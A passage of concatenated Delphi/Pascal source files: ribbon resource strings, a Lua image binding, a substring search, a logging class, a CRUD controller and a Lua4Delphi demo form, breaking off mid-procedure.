procedure ConfiguracoesAlteradas(const AConfiguracao: IConfiguracao);
end;
IConfiguracaoSubject = interface(IInterface)
['{7101ECE2-303D-40C5-83A6-52BFD3D92E3E}']
procedure Adicionar(const AConfiguracaoObserver: IConfiguracaoObserver);
procedure Remover(const AConfiguracaoObserver: IConfiguracaoObserver);
procedure Notificar(const AConfiguracao: IConfiguracao);
end;
implementation
end.
|
{*******************************************************}
{ }
{ Delphi Visual Component Library }
{ }
{ Copyright(c) 1995-2011 Embarcadero Technologies, Inc. }
{ }
{*******************************************************}
unit Vcl.RibbonConsts;
interface
resourcestring
// Ribbon constants
SPageCaptionExists = 'A page with the caption "%s" already exists';
SInvalidRibbonPageParent = 'A Ribbon Pages parent must be TCustomRibbon';
SRecentDocuments = 'Recent Documents';
SDuplicateRibbonComponentsNotAllowed = 'Only one Ribbon control on a Form is allowed';
SRibbonTabIndexInvalid = 'Specified TabIndex is invalid';
SRibbonControlInvalidParent = 'A %s can only be placed on a Ribbon Group with an ActionManager assigned';
SInvalidRibbonGroupParent = 'Ribbon Group must have a Ribbon Page as its parent';
SInvalidRibbonPageChild = 'Only Ribbon Groups can be inserted into a Ribbon Page';
// Quick Access Toolbar
SAddToQuickAccessToolbar = 'Add to Quick Access Toolbar';
SRemoveFromQuickAccessToolbar = 'Remove from Quick Access Toolbar';
SCustomizeQuickAccessToolbar = 'Customize Quick Access Toolbar...';
SMoreControls = 'More controls';
SMoreCommands = 'More Commands...';
SMinimizeTheRibbon = 'Minimize the Ribbon';
SQuickAccessToolbarGlyphRequired = 'Cannot place an item on the Quick Access Toolbar that does not have a glyph';
SQATShowAboveTheRibbon = 'Show Above the Ribbon';
SQATShowBelowTheRibbon = 'Show Below the Ribbon';
SShowQuickAccessToolbarAbove = 'Show Quick Access Toolbar Above the Ribbon';
SShowQuickAccessToolbarBelow = 'Show Quick Access Toolbar Below the Ribbon';
// ScreenTips constants
SCommandIsDisabled = 'This command is disabled.';
SUseTheGlyphProperty = 'Use the glyph property to set an image';
SInvalidScreenTipItemAssign = 'Cannot assign a non-ScreenTipItem to a ScreenTipItem';
SDefaultFooterText = 'Press F1 for more help.';
SGenerateScreenTipsError = 'Unable to generate Screen Tips because there are no linked Action Lists.';
implementation
end.
|
unit LuaImage;
interface
Uses ExtCtrls, Controls, Classes,
LuaPas,
LuaControl,
LuaCanvas,
LuaBitmap,
LuaGraphic,
LuaPicture,
Graphics;
function CreateImage(L: Plua_State): Integer; cdecl;
procedure BitmapToTable(L:Plua_State; Index:Integer; Sender:TObject);
type
TLuaImage = class(TImage)
LuaCtl: TLuaControl;
LuaCanvas: TLuaCanvas;
public
destructor Destroy; override;
end;
implementation
Uses Forms, SysUtils, LuaProperties, Lua, Dialogs;
destructor TLuaImage.Destroy;
begin
LuaCanvas.Free;
inherited Destroy;
end;
// ************ IMAGE ******************** //
function LoadImageFromFile(L: Plua_State): Integer; cdecl;
var success:Boolean;
lImage:TLuaImage;
fname, ftype : String;
begin
success := false;
CheckArg(L, 2);
lImage := TLuaImage(GetLuaObject(L, 1));
fname := lua_tostring(L,2);
ftype := ExtractFileExt(fname);
try
lImage.Picture.LoadFromFile(fname);
success := true;
finally
end;
lua_pushboolean(L,success);
result := 1;
end;
function SaveImageToFile(L: Plua_State): Integer; cdecl;
var success:Boolean;
lImage:TLuaImage;
fname, ftype : String;
begin
success := false;
CheckArg(L, 2);
lImage := TLuaImage(GetLuaObject(L, 1));
fname := lua_tostring(L,2);
ftype := ExtractFileExt(fname);
try
lImage.Picture.SaveToFile(fname, ftype);
success := true;
finally
end;
lua_pushboolean(L,success);
result := 1;
end;
function LoadImageFromStream(L: Plua_State): Integer; cdecl;
var success:Boolean;
lImage:TLuaImage;
lStream: TMemoryStream;
begin
success := false;
CheckArg(L, 2);
lImage := TLuaImage(GetLuaObject(L, 1));
lStream := TMemoryStream(lua_touserdata(L,2));
try
if lStream<>nil then begin
lStream.Position:=0;
lImage.Picture.LoadFromStream(lStream);
success := true;
end;
finally
end;
lua_pushboolean(L,success);
result := 1;
end;
(*
function LoadImageFromBuffer(L: Plua_State): Integer; cdecl;
var lImage:TLuaImage;
fname,fext: String;
ST: TMemoryStream;
Buf: pointer;
Size: Integer;
begin
CheckArg(L, 4);
lImage := TLuaImage(GetLuaObject(L, 1));
Size := trunc(lua_tonumber(L,3));
Buf := lua_tolstring(L,2,@Size);
fname := lua_tostring(L,4);
if (Buf=nil) then
LuaError(L,'Image not found! ',lua_tostring(L,2));
try
ST := TMemoryStream.Create;
ST.WriteBuffer(Buf^,trunc(lua_tonumber(L,3)));
ST.Seek(0, soFromBeginning);
fext := ExtractFileExt(fname);
System.Delete(fext, 1, 1);
lImage.Picture.LoadFromStreamWithFileExt(ST,fext);
finally
if (Assigned(ST)) then ST.Free;
end;
lua_pushnumber(L,size);
result := 1;
end;
*)
function LuaGetCanvas(L: Plua_State): Integer; cdecl;
var lImage:TLuaImage;
begin
lImage := TLuaImage(GetLuaObject(L, 1));
lImage.LuaCanvas.ToTable(L, -1, lImage.Canvas);
result := 1;
end;
function LuaGetBitmap(L: Plua_State): Integer; cdecl;
var lImage:TLuaImage;
begin
lImage := TLuaImage(GetLuaObject(L, 1));
BitmapToTable(L, -1, lImage.Picture.Bitmap);
result := 1;
end;
function LoadBitmapFromStream(L: Plua_State): Integer; cdecl;
function DecodeHexString(s:String):TMemoryStream;
var
i: Integer;
B:Byte;
OutStr: TMemoryStream;
begin
OutStr := TMemoryStream.Create;
// remove first 8 bytes (size)
i := 9;
While i<=Length(s) Do Begin
B:=Byte(StrToIntDef('$'+Copy(s,i,2),0));
Inc(i,2);
OutStr.Write(B,1);
End;
OutStr.Seek(0, soFromBeginning);
Result := OutStr;
end;
var lBmp:TBitmap;
lPic:TPicture;
AStream: TStream;
tmpStream: TMemoryStream;
// ASize: Cardinal;
begin
CheckArg(L, 2);
lBmp := TBitmap(GetLuaObject(L, 1));
if lua_isstring(L,2) then
AStream := DecodeHexString(lua_tostring(L,2))
else
AStream := TStream(GetLuaObject(L, 2));
lPic := TPicture.Create;
tmpStream := TMemoryStream.Create;
// ASize := lua_tointeger(L,3);
try
lPic.LoadFromStream(AStream);
lPic.Bitmap.SaveToStream(tmpStream);
tmpStream.position := 0;
lBmp.LoadFromStream(tmpStream, tmpStream.size);
lBmp := lPic.Bitmap;
finally
lPic.Free;
tmpStream.Free;
if lua_isstring(L,2) then
AStream.Free;
end;
result := 0;
end;
procedure BitmapToTable(L:Plua_State; Index:Integer; Sender:TObject);
begin
SetDefaultMethods(L, Index, Sender);
LuaSetTableFunction(L, index, 'LoadFromStream', LoadBitmapFromStream);
LuaSetMetaFunction(L, index, '__index', @LuaGetProperty);
LuaSetMetaFunction(L, index, '__newindex', @LuaSetProperty);
end;
procedure ToTable(L:Plua_State; Index:Integer; Sender:TObject);
begin
SetDefaultMethods(L, Index, Sender);
LuaSetTableFunction(L, index, 'LoadFromFile', LoadImageFromFile);
LuaSetTableFunction(L, index, 'SaveToFile', SaveImageToFile);
LuaSetTableFunction(L, index, 'LoadFromStream', LoadImageFromStream);
// LuaSetTableFunction(L, index, 'LoadFromBuffer', LoadImageFromBuffer);
LuaSetTableFunction(L, index, 'GetCanvas', LuaGetCanvas);
LuaSetTableFunction(L, index, 'GetBitmap', LuaGetBitmap);
LuaSetMetaFunction(L, index, '__index', LuaGetProperty);
LuaSetMetaFunction(L, index, '__newindex', LuaSetProperty);
end;
function CreateImage(L: Plua_State): Integer; cdecl;
var
lImage:TLuaImage;
lCanvas:TLuaCanvas;
Parent:TComponent;
Name:String;
begin
GetControlParents(L,Parent,Name);
lImage := TLuaImage.Create(Parent);
lImage.Parent := TWinControl(Parent);
lImage.LuaCtl := TLuaControl.Create(lImage,L,@ToTable);
lImage.LuaCanvas := TLuaCanvas.Create;
if (lua_gettop(L)>0) and (GetLuaObject(L, -1) = nil) then
SetPropertiesFromLuaTable(L, TObject(lImage),-1)
else
lImage.Name := Name;
ToTable(L, -1, lImage);
Result := 1;
end;
end.
|
unit SubstringChecking;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils;
function Search(Haystack, Needle: string): boolean;
implementation
function Search(Haystack, Needle: string): boolean;
var
HaystackIndex, NeedleIndex: integer;
Found: boolean;
begin
HaystackIndex := 1;
Found := False;
if (Length(Haystack) >= Length(Needle)) and (Length(Needle) > 0) then
begin
while (HaystackIndex <= Length(Haystack)) and (not Found) do
begin
NeedleIndex := 1;
while (Haystack[HaystackIndex + NeedleIndex - 1] = Needle[NeedleIndex]) and
(not Found) do
begin
if NeedleIndex = Length(Needle) then
begin
Found := True;
end
else
begin
Inc(NeedleIndex);
end;
end;
Inc(HaystackIndex);
end;
end;
Result := Found;
end;
end.
|
unit uProgLog;
interface
uses
Windows, SysUtils, SyncObjs,Forms,StdCtrls;
const
C_LOG_LEVEL_TRACE = $00000001;
C_LOG_LEVEL_WARNING = $00000002;
C_LOG_LEVEL_ERROR = $00000004;
type
EnumSeverity = (TraceLevel, WarningLevel, ErrorLevel, LogLevel);
function SeverityDesc(severity: EnumSeverity): string;
type
TLogFile = class(TObject)
private
FLogKeepDays: Integer; //日志保存时间
FLogLevel: DWORD; //日志级别
FLogPath: string; //日志保存路径,以"\"结尾
FLogAppName: string; //应用程序名(日志文件前缀)
FCsWriteLogFile: TCriticalSection;
FLogFile: TextFile; //日志文件句柄
FLogOpened: Boolean; //日志文件是否打开
FFileTimeStamp: TTimeStamp; //当前日志文件创建或打开时间
function GetLogKeepDays(): Integer;
procedure SetLogKeepDays(days: Integer);
function GetLogLevel(): DWORD;
procedure SetLogLevel(level: DWORD);
function GetLogPath(): string;
procedure SetLogPath(path: string);
function GetLogAppName(): string;
procedure SetLogAppName(name: string);
protected
function WriteLogFile(const szFormat: string; const Args: array of const): Boolean;
public
Memo:TMemo;
////////////////////////////////////////////////////////////////////////////
//Procedure/Function Name: Trace()
//Describe: 记录日志到日志文件。如果日志文件路径不存在,会自动创建。如果日志文件不存在,
// 则创建相应的日志文件;如果日子文件已存在,则打开相应的日志文件,并将日志添加到文件结尾。
//Input : severity: 日志级别。根据日志级别参数决定该级别日志是否需要保存,
// 但LogLevel级别的日志不受日志级别参数影响,都保存到了日志文件。
// subject: 模块名称。
// desc: 日志内容。
//Result : N/A
//Catch Exception: No
////////////////////////////////////////////////////////////////////////////
procedure Trace(severity: EnumSeverity; const subject, desc: string); overload;
////////////////////////////////////////////////////////////////////////////
//Procedure/Function Name: Trace()
//Describe: 记录日志到日志文件。如果日志文件路径不存在,会自动创建。如果日志文件不存在,
// 则创建相应的日志文件;如果日子文件已存在,则打开相应的日志文件,并将日志添加到文件结尾。
//Input : severity: 日志级别。根据日志级别参数决定该级别日志是否需要保存,
// 但LogLevel级别的日志不受日志级别参数影响,都保存到了日志文件。
// subject: 模块名称。
// descFormat: 包含格式化信息的日志内容。
// Args: 格式化参数数组。
//Result : N/A
//Catch Exception: No
////////////////////////////////////////////////////////////////////////////
procedure Trace(severity: EnumSeverity; const subject, descFormat: string; const Args: array of const); overload;
////////////////////////////////////////////////////////////////////////////
//Procedure/Function Name: DeleteLogFile()
//Describe: 删除超过保存期限的日志文件。在日志文件路径中搜索超过保存期限的日志,将之删除。
// 该方法只需在应用程序启动时调用一次,以删除超过保存期限的日志。
//Input : N/A
//Result : Boolean 成功返回TRUE,失败返回FALSE
//Catch Exception: No
////////////////////////////////////////////////////////////////////////////
function DeleteLogFile(): Boolean;
constructor Create();
Destructor Destroy(); override;
class function GetInstance(): TLogFile;
class function NewInstance: TObject; override;
procedure FreeInstance; override;
property LogKeepDays: Integer read GetLogKeepDays write SetLogKeepDays;
property Level: DWORD read GetLogLevel write SetLogLevel;
property LogPath: string read GetLogPath write SetLogPath;
property LogAppName: string read GetLogAppName write SetLogAppName;
end;
function BooleanDesc(Value : Boolean): string;
implementation
uses SqlTimSt;
var GlobalSingle: TLogFile;
function BooleanDesc(Value : Boolean): string;
begin
if Value then Result := 'TRUE'
else Result := 'FALSE';
end;
function SeverityDesc(severity: EnumSeverity): string;
begin
if (severity = ErrorLevel) then result := 'X'
else if (severity = WarningLevel) then result := '!'
else result := ' ';
end;
{ TLogFile }
constructor TLogFile.Create;
begin
FLogOpened := False;
FCsWriteLogFile := TCriticalSection.Create;
FLogKeepDays := 31;
FLogLevel := C_LOG_LEVEL_TRACE or C_LOG_LEVEL_WARNING or C_LOG_LEVEL_ERROR;
FLogPath := ExtractFilePath(Application.ExeName) + 'Log\';
FLogAppName := ChangeFileExt(ExtractFileName(Application.ExeName),'');
end;
procedure TLogFile.FreeInstance;
begin
inherited;
GlobalSingle := nil;
end;
class function TLogFile.GetInstance: TLogFile;
begin
if not Assigned(GlobalSingle) then
begin
GlobalSingle := TLogFile.Create();
end;
Result := GlobalSingle;
end;
class function TLogFile.NewInstance: TObject;
begin
if not Assigned(GlobalSingle) then
GlobalSingle := TLogFile(inherited NewInstance);
Result := GlobalSingle;
end;
function TLogFile.DeleteLogFile(): Boolean;
var
rc : DWORD;
SearchRec: TSearchRec;
bResult: Boolean;
FileMask: string;
LocalFileTime: TFileTime;
FileTime: Integer;
begin
result := false;
rc := GetFileAttributes(PChar(FLogPath));
if (rc = $FFFFFFFF) or (FILE_ATTRIBUTE_DIRECTORY and rc = 0) then exit;
FileMask := FLogPath + FLogAppName + '*.log';
bResult := FindFirst(FileMask, faAnyFile, SearchRec) = 0;
try
if bResult then
begin
repeat
if (SearchRec.Name[1] <> '.') and
(SearchRec.Attr and faVolumeID <> faVolumeID) and
(SearchRec.Attr and faDirectory <> faDirectory) then
begin
FileTimeToLocalFileTime(SearchRec.FindData.ftCreationTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(FileTime).Hi, LongRec(FileTime).Lo);
// 按照文件创建日期删除文件
if FileDateToDateTime(FileTime) <= Now() - GetLogKeepDays() then
DeleteFile(FLogPath + SearchRec.Name);
end;
until FindNext(SearchRec) <> 0;
end;
finally
FindClose(SearchRec);
end;
end;
destructor TLogFile.Destroy;
begin
if (FLogOpened) then CloseFile(FLogFile);
FCsWriteLogFile.Free();
inherited;
end;
function TLogFile.GetLogAppName: string;
begin
result := FLogAppName;
end;
function TLogFile.GetLogKeepDays: Integer;
begin
result := FLogKeepDays;
end;
function TLogFile.GetLogLevel: DWORD;
begin
result := FLogLevel;
end;
function TLogFile.GetLogPath: string;
begin
result := FLogPath;
end;
procedure TLogFile.SetLogAppName(name: string);
begin
FLogAppName := ChangeFileExt(name, '');
end;
procedure TLogFile.SetLogKeepDays(days: Integer);
begin
FLogKeepDays := days;
end;
procedure TLogFile.SetLogLevel(level: DWORD);
begin
FLogLevel := level;
end;
procedure TLogFile.SetLogPath(path: string);
begin
if Trim(path) = '' then exit;
if path[Length(path)] <> '\' then FLogPath := path + '\'
else FLogPath := path;
end;
procedure TLogFile.Trace(severity: EnumSeverity; const subject, desc: string);
begin
// 根据配置的日志级别决定是否写日志
if ((severity = LogLevel) or
((severity = ErrorLevel) and (FLogLevel and C_LOG_LEVEL_ERROR = C_LOG_LEVEL_ERROR)) or
((severity = WarningLevel) and (FLogLevel and C_LOG_LEVEL_WARNING = C_LOG_LEVEL_WARNING)) or
((severity = TraceLevel) and (FLogLevel and C_LOG_LEVEL_TRACE = C_LOG_LEVEL_TRACE))) then
begin
//WriteLogFile('%s @@ %s @ %s $ %s', [SeverityDesc(severity), FLogAppName, subject, desc]);
WriteLogFile('%s @ %s $ %s', [SeverityDesc(severity), subject, desc]);
end;
end;
procedure TLogFile.Trace(severity: EnumSeverity; const subject,
descFormat: string; const Args: array of const);
var
desc: string;
begin
// 根据配置的日志级别决定是否写日志
if ((severity = LogLevel) or
((severity = ErrorLevel) and (FLogLevel and C_LOG_LEVEL_ERROR = C_LOG_LEVEL_ERROR)) or
((severity = WarningLevel) and (FLogLevel and C_LOG_LEVEL_WARNING = C_LOG_LEVEL_WARNING)) or
((severity = TraceLevel) and (FLogLevel and C_LOG_LEVEL_TRACE = C_LOG_LEVEL_TRACE))) then
begin
desc := Format(descFormat, Args);
//WriteLogFile('%s @@ %s @ %s $ %s', [SeverityDesc(severity), FLogAppName, subject, desc]);
WriteLogFile('%s @ %s $ %s', [SeverityDesc(severity), subject, desc]);
end;
end;
function TLogFile.WriteLogFile(const szFormat: string;
const Args: array of const): Boolean;
var
fileName: string;
currentTime: TDateTime;
currentTimeStamp: TTimeStamp;
currentSQLTimeStamp: TSQLTimeStamp;
buffer: string;
szDate, szTime: string;
begin
result := false;
//进入临界区,保证多线程环境下此函数能安全执行
FCsWriteLogFile.Enter();
try
currentTime := Now(); //注意这里得到的是local time
currentSQLTimeStamp := DateTimeToSQLTimeStamp(currentTime);
currentTimeStamp := DateTimeToTimeStamp(currentTime);
try
// 1. close the current log file?
if (FLogOpened and
(currentTimeStamp.Date <> FFileTimeStamp.Date)) then
begin
CloseFile(FLogFile);
FLogOpened := False;
end;
// 2. whether to open a new log file?
if (not FLogOpened) then
begin
// 2.1如果指定的日志目录不存在,则创建它
if not DirectoryExists(FLogPath) then
if not ForceDirectories(FLogPath) then exit;
// 2.2 然后再打开当前日志文件
szDate := Format('%4d%2d%2d%',
[currentSQLTimeStamp.Year, currentSQLTimeStamp.Month, currentSQLTimeStamp.Day]);
// Format函数不支持在宽度不足位添0,只好用replace添加
szDate := StringReplace(szDate, ' ', '0', [rfReplaceAll]);
fileName := Format('%s%s%s.log', [FLogPath, FLogAppName, szDate]);
Assignfile(FLogFile, fileName);
//if FileExists(fileName) then append(FLogFile)
//else rewrite(FLogFile);
//$1 modify by zhajl 2005-11-30
// 如果无法打开日志文件,则退出
try
if FileExists(fileName) then append(FLogFile)
else rewrite(FLogFile);
FLogOpened := True;
except
// 如果无法打开日志文件
FLogOpened := False;
//这里用CloseFile会出现异常
//CloseFile(FLogFile);
exit;
end;
// 更新文件创建时间。要注意这里是 local time
FFileTimeStamp := DateTimeToTimeStamp(currentTime);
end;
// 3. 写日志内容
ASSERT(FLogOpened);
if (FLogOpened) then
begin
szDate := Format('%4d%2d%2d%',
[currentSQLTimeStamp.Year, currentSQLTimeStamp.Month, currentSQLTimeStamp.Day]);
// Format函数不支持在宽度不足位添0,只好用replace添加
szDate := StringReplace(szDate, ' ', '0', [rfReplaceAll]);
szTime := Format('%2d:%2d:%2d',
[currentSQLTimeStamp.Hour, currentSQLTimeStamp.Minute, currentSQLTimeStamp.Second]);
szTime := StringReplace(szTime, ' ', '0', [rfReplaceAll]);
buffer := Format('%s %s ', [szDate, szTime]); // '%4d/%2d/%2d %2d:%2d:%2d '
buffer := buffer + szFormat;
buffer := Format(buffer, Args);
writeln(FLogFile, buffer);
Flush(FLogFile); // 是否考虑性能而注释之?
end;
except
//写日志文件操作中若有异常(如目录是只读的等),则忽略它
end;
finally
FCsWriteLogFile.Leave; //离开临界区
end;
result := true;
Memo.Lines.Append(buffer);;
end;
end.
|
unit UCrtlEstado;
interface
uses uController, DB, UDaoEstado;
type CtrlEstado = class(Controller)
private
protected
umaDaoEstado : DaoEstado;
public
Constructor CrieObjeto;
Destructor Destrua_se;
function Salvar(obj:TObject): string; override;
function GetDS : TDataSource; override;
function Carrega(obj:TObject): TObject; override;
function Buscar(obj : TObject) : Boolean; override;
function Excluir(obj : TObject) : string ; override;
end;
implementation
{ CtrlEstado }
function CtrlEstado.Buscar(obj: TObject): Boolean;
begin
result := umaDaoEstado.Buscar(obj);
end;
function CtrlEstado.Carrega(obj: TObject): TObject;
begin
result := umaDaoEstado.Carrega(obj);
end;
constructor CtrlEstado.CrieObjeto;
begin
umaDaoEstado := DaoEstado.CrieObjeto;
end;
destructor CtrlEstado.Destrua_se;
begin
umaDaoEstado.Destrua_se;
end;
function CtrlEstado.Excluir(obj: TObject): string;
begin
result := umaDaoEstado.Excluir(obj);
end;
function CtrlEstado.GetDS: TDataSource;
begin
result := umaDaoEstado.GetDS;
end;
function CtrlEstado.Salvar(obj: TObject): string;
begin
result := umaDaoEstado.Salvar(obj);
end;
end.
|
unit uMainForm;
interface
{$I Lua4Delphi.inc}
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Layouts, FMX.Memo, FMX.TabControl, FMX.Edit, FMX.ListBox,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs, FMX.Ani,
L4D.Engine.MainIntf, L4D.Engine.Main, L4D.Engine.StaticLua51{$IFDEF L4D_API_LOGGING}, L4D.Debug.Logging{$ENDIF};
type
TfrmMain = class(TForm)
memCode: TMemo;
Splitter1: TSplitter;
pnlTop: TPanel;
btnExecute: TButton;
memOutput: TMemo;
OpenDialog1: TOpenDialog;
btnLoadFromFile: TButton;
tcTop: TTabControl;
tabCode: TTabItem;
tabGlobals: TTabItem;
cpException: TCalloutPanel;
Panel1: TPanel;
StyleBook1: TStyleBook;
lblException: TLabel;
btnExceptionHide: TSpeedButton;
edGlobalName: TEdit;
Label1: TLabel;
edGlobalValue: TEdit;
Label2: TLabel;
btnGlobalSetValue: TButton;
cbGlobalType: TComboBox;
Label3: TLabel;
ListBoxItem1: TListBoxItem;
ListBoxItem2: TListBoxItem;
ListBoxItem3: TListBoxItem;
ListBoxItem4: TListBoxItem;
ListBoxItem5: TListBoxItem;
ListBoxItem6: TListBoxItem;
ListBoxItem7: TListBoxItem;
ListBoxItem8: TListBoxItem;
ListBoxItem9: TListBoxItem;
ListBoxItem10: TListBoxItem;
btnGlobalNew: TButton;
btnGlobalCancel: TButton;
GradientAnimation1: TGradientAnimation;
Lua4Delphi1: TL4D51Static;
Button1: TButton;
Button2: TButton;
procedure btnExecuteClick(Sender: TObject);
procedure Lua4Delphi1Exception(Sender: TObject; const AExceptionType: EL4DExceptionClass; AMessage: string; var ARaise: Boolean);
procedure Lua4Delphi1LuaError(Sender: TObject; const ATitle, AMessage: string; const ALine: Integer; var ARaise: Boolean);
procedure btnLoadFromFileClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure btnExceptionHideClick(Sender: TObject);
procedure Lua4Delphi1Create(Sender: TObject);
procedure btnGlobalNewClick(Sender: TObject);
procedure btnGlobalCancelClick(Sender: TObject);
procedure btnGlobalSetValueClick(Sender: TObject);
procedure edGlobalNameChange(Sender: TObject);
procedure cbGlobalTypeChange(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
FPrints: Integer;
procedure ShowExceptionPanel;
procedure LuaPrint(var AStack: IL4DMethodStack); // < Called exclusively from Lua!
procedure LuaTableTest(var AStack: IL4DMethodStack); // < Called exclusively from Lua!
procedure LuaTableRead(var AStack: IL4DMethodStack); // < Called exclusively from Lua!
procedure NewGlobalEnablement(const AEnabled: Boolean);
procedure LogCount;
public
{ Public declarations }
end;
var
frmMain: TfrmMain;
implementation
{$R *.fmx}
procedure TfrmMain.LogCount;
{$IFDEF L4D_API_LOGGING}
const
COUNT_STR = 'Top is %d %s';
TYPE_STR = #13#10 + '%d - %s';
var
I: Integer;
LTypes: String;
LState: Boolean;
{$ENDIF}
begin
{$IFDEF L4D_API_LOGGING}
LState := L4DLogger.Active;
L4DLogger.Active := False;
for I := 1 to Lua4Delphi1.Engine.Lua.lua_gettop do
LTypes := LTypes + Format(TYPE_STR, [-I, (Lua4Delphi1.Engine as IL4DEngineInternal).GetLuaTypeName(-I)]);
L4DLogger.AddCustomMessage(Format(COUNT_STR, [Lua4Delphi1.Engine.Lua.lua_Gettop, LTypes]));
L4DLogger.Active := LState;
{$ENDIF}
end;
procedure TfrmMain.LuaPrint(var AStack: IL4DMethodStack);
var
I: Integer;
begin
Inc(FPrints);
{$IFDEF L4D_API_LOGGING}L4DLogger.AddCustomMessage('Print #' + IntToStr(FPrints));{$ENDIF}
LogCount;
for I := 1 to AStack.Count do
begin
if AStack[I].CanBeString then
memOutput.Lines.Add(Format('Call %d - [Value %d] %s = %s', [FPrints, I, AStack[I].LuaTypeName, AStack[I].AsString]))
else
memOutput.Lines.Add(Format('Call %d - [Value %d] %s (cannot be printed)', [FPrints, I, AStack[I].LuaTypeName]));
end;
LogCount;
end;
procedure TfrmMain.LuaTableRead(var AStack: IL4DMethodStack);
begin
if AStack[1].CanBeTable then
begin
ShowMessage(AStack[1].AsTable['Hello'].AsString);
end;
end;
procedure TfrmMain.LuaTableTest(var AStack: IL4DMethodStack);
begin
with AStack.NewTable do
begin
PushString('Field1', 'Value1');
PushString('Field2', 'Value2');
PushString('Field3', 'Value3');
PushString('Field4', 'Value4');
PushFunction('print', LuaPrint);
with NewTable('Field5') do
begin
PushString('FieldA', 'ValueA');
PushString('FieldB', 'ValueB');
PushString('FieldC', 'ValueC');
PushString('FieldD', 'ValueD');
Push;
end;
PushString('Field6', 'Value6');
PushString('Field6', 'Value7');
Push;
end;
end;
procedure TfrmMain.NewGlobalEnablement(const AEnabled: Boolean);
begin
btnGlobalNew.Enabled := (not AEnabled);
btnGlobalCancel.Enabled := AEnabled;
edGlobalValue.Enabled := AEnabled;
cbGlobalType.Enabled := AEnabled;
end;
procedure TfrmMain.btnExecuteClick(Sender: TObject);
begin
Lua4Delphi1.InjectLuaCode(memCode.Text, 'Lua4Delphi Sandbox Code')
end;
procedure TfrmMain.btnGlobalCancelClick(Sender: TObject);
begin
NewGlobalEnablement(False);
end;
procedure TfrmMain.btnGlobalNewClick(Sender: TObject);
begin
NewGlobalEnablement(True);
end;
procedure TfrmMain.btnGlobalSetValueClick(Sender: TObject);
begin
case cbGlobalType.ItemIndex of
2: Lua4Delphi1.Globals[AnsiString(edGlobalName.Text)].AsBoolean := (edGlobalValue.Text = 'true'); //'Boolean'
4: Lua4Delphi1.Globals[AnsiString(edGlobalName.Text)].AsExtended := StrToFloat(edGlobalValue.Text); //'Number'
5: Lua4Delphi1.Globals[AnsiString(edGlobalName.Text)].AsString := edGlobalValue.Text; //'String'
else
begin
lblException.Text := 'You can only post Booleans, Numbers or Strings in this program';
ShowExceptionPanel;
Exit;
end;
end;
btnGlobalCancelClick(Self);
end;
procedure TfrmMain.btnLoadFromFileClick(Sender: TObject);
begin
if OpenDialog1.Execute then
Lua4Delphi1.InjectLuaFile(OpenDialog1.FileName);
end;
procedure TfrmMain.Button1Click(Sender: TObject);
begin
with Lua4Delphi1.Globals['Add'].CallFunction([10, 1337, 3.14159]) do
begin
memOutput.Lines.Add(IntToStr(Count) + ' - ' + Value[1].AsString);
Cleanup;
end;
end;
procedure TfrmMain.Button2Click(Sender: TObject);
begin
{$IFDEF L4D_API_LOGGING}L4DLogger.Active := True;{$ENDIF}
with Lua4Delphi1.Globals['ATable'].AsTable do
begin
with Value['a'].AsTable do
begin
with Value['c'].AsTable do
begin
with Value['c'].AsTable do
begin
memOutput.Lines.Add(Value['Field1'].AsString);
memOutput.Lines.Add(Value['Field2'].AsString);
Close; // Must be called to correctly align the Lua stack
end;
memOutput.Lines.Add(Value['a'].AsString);
Close; // Must be called to correctly align the Lua stack
end;
memOutput.Lines.Add(Value['a'].AsString);
Close; // As this is the end of the method, we need not necessarily call "Close" here, but it's best to call it anyway!
end;
end;
{$IFDEF L4D_API_LOGGING}L4DLogger.Active := False;{$ENDIF}
end;
procedure TfrmMain.cbGlobalTypeChange(Sender: TObject);
const
STYLE_NAME: Array[Boolean] of String = ('cbGlobalTypeStyleInvalid', 'cbGlobalTypeStyleHighlight');
begin
if cbGlobalType.Enabled then
cbGlobalType.StyleLookup := STYLE_NAME[(cbGlobalType.ItemIndex = 2) or (cbGlobalType.ItemIndex = 4) or (cbGlobalType.ItemIndex = 5)];
end;
procedure TfrmMain.edGlobalNameChange(Sender: TObject);
const
STYLE_NAME: Array[Boolean] of String = ('', 'cbGlobalTypeStyleHighlight');
begin
edGlobalValue.Text := Lua4Delphi1.Globals[AnsiString(edGlobalName.Text)].AsString;
if btnGlobalNew.Enabled then
begin
cbGlobalType.ItemIndex := Integer(Lua4Delphi1.Globals[AnsiString(edGlobalName.Text)].LuaType) + 1;
cbGlobalType.StyleLookup := STYLE_NAME[cbGlobalType.ItemIndex > 1];
end;
end;
procedure TfrmMain.FormCreate(Sender: TObject);
begin
cpException.Position.Y := -51;
FPrints := 0;
tcTop.TabIndex := 0;
end;
procedure TfrmMain.FormResize(Sender: TObject);
begin
cpException.Width := Width;
end;
procedure TfrmMain.Lua4Delphi1Create(Sender: TObject);
begin
Lua4Delphi1.Globals.PushString('Symbols', '♫♪☺');
Lua4Delphi1.Globals.PushFunction('print', LuaPrint);
Lua4Delphi1.Globals.PushFunction('TableTest', LuaTableTest);
Lua4Delphi1.Globals.PushFunction('TableRead', LuaTableRead);
{$IFDEF L4D_API_LOGGINGz}L4DLogger.Active := True;{$ENDIF}
with Lua4Delphi1.Globals.NewTable('ATable') do
begin
PushString('Hello', 'World');
with NewTable('a') do
begin
PushDouble('a', 4);
PushDouble('b', 2);
with NewTable('c') do
begin
PushDouble('a', 55);
PushDouble('b', 66);
with NewTable('c') do
begin
PushString('Field1', 'Value1');
PushString('Field2', 'Value2');
PushFunction('TestMethod', LuaPrint);
Push;
end;
Push;
end;
Push;
end;
with NewTable('b') do
begin
PushDouble('a', 13);
PushDouble('b', 37);
Push;
end;
Push;
end;
{$IFDEF L4D_API_LOGGINGz}L4DLogger.Active := False;{$ENDIF}
end;
procedure TfrmMain.Lua4Delphi1Exception(Sender: TObject; const AExceptionType: EL4DExceptionClass; AMessage: string; var ARaise: Boolean);
begin
lblException.Text := TimeToStr(Now) + ' [' + AExceptionType.ClassName + '] - ' + AMessage;
ShowExceptionPanel;
end;
procedure TfrmMain.Lua4Delphi1LuaError(Sender: TObject; const ATitle, AMessage: string; const ALine: Integer; var ARaise: Boolean);
begin
